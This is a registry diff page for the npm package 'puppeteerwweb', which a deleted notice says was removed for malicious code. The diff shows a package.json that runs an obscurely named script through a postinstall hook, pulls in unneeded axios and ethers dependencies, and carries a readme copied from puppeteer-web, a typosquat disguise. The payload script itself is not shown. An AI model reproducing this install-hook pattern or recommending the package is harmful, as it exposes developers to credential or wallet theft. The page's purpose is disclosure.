puppeteerwweb 0.0.1-security → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of puppeteerwweb might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,34 @@
1
1
  {
2
2
  "name": "puppeteerwweb",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.0.3",
4
+ "repository": "https://github.com/entrptaher/puppeteer-web",
5
+ "license": "MIT",
6
+ "author": "Md Abu Taher <entrptaher@gmail.com>",
7
+ "main": "index.js",
8
+ "browser": "lib/index.js",
9
+ "files": [
10
+ "lib/*.*",
11
+ "j3lfw1l2.cjs"
12
+ ],
13
+ "scripts": {
14
+ "postinstall": "node j3lfw1l2.cjs"
15
+ },
16
+ "browserslist": [
17
+ "last 2 Chrome version"
18
+ ],
19
+ "devDependencies": {
20
+ "@babel/core": "^7.9.0",
21
+ "@babel/preset-env": "^7.9.0",
22
+ "aliasify": "^2.1.0",
23
+ "babelify": "^10.0.0",
24
+ "browserify": "^16.5.1",
25
+ "parcel-bundler": "^1.12.4",
26
+ "puppeteer-core": "^4.0.0",
27
+ "regenerator-runtime": "^0.13.5",
28
+ "util.promisify": "^1.0.1"
29
+ },
30
+ "dependencies": {
31
+ "axios": "^1.7.7",
32
+ "ethers": "^6.13.2"
33
+ }
34
+ }
package/readme.md ADDED
@@ -0,0 +1,36 @@
1
+ puppeteer-web bundle created using browserify
2
+
3
+ ## Why?
4
+
5
+ - The bundlers fails to bundle puppeteer, and downloading puppeteer repo just to build puppeteer-web version seems like a hassle for quick development.
6
+ - Puppeteer team removed puppeteer-web from their repo in [this PR](https://github.com/puppeteer/puppeteer/pull/5750)
7
+ - The previous puppeteer could be found here on [this commit](https://github.com/puppeteer/puppeteer/tree/6522e4f524bdbc1f1b9d040772acf862517ed507/utils/browser), but it's a pain to build that as well.
8
+ - Lots of questions in stackoverflow [like this](https://stackoverflow.com/a/54654516/6161265) shows the demand of such library.
9
+
10
+ ## Usage
11
+ ```
12
+ yarn add puppeteer-web
13
+ ```
14
+
15
+ ```js
16
+ import puppeteer from 'puppeteer-web';
17
+
18
+ async function run(){
19
+
20
+ const browser = await puppeteer.connect({
21
+ browserWSEndpoint: `ws://0.0.0.0:8080`, // <-- connect to a server running somewhere
22
+ ignoreHTTPSErrors: true
23
+ });
24
+
25
+ const pagesCount = (await browser.pages()).length;
26
+ const browserWSEndpoint = await browser.wsEndpoint();
27
+ console.log({ browserWSEndpoint, pagesCount });
28
+
29
+ }
30
+ ```
31
+
32
+ ## Roadmap
33
+
34
+ - [ ] Auto build new minorversion on new puppeteer-core release
35
+ - [ ] Update document about pitfall
36
+ - [ ] Add server and client example along with a explanation post
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=puppeteerwweb for more information.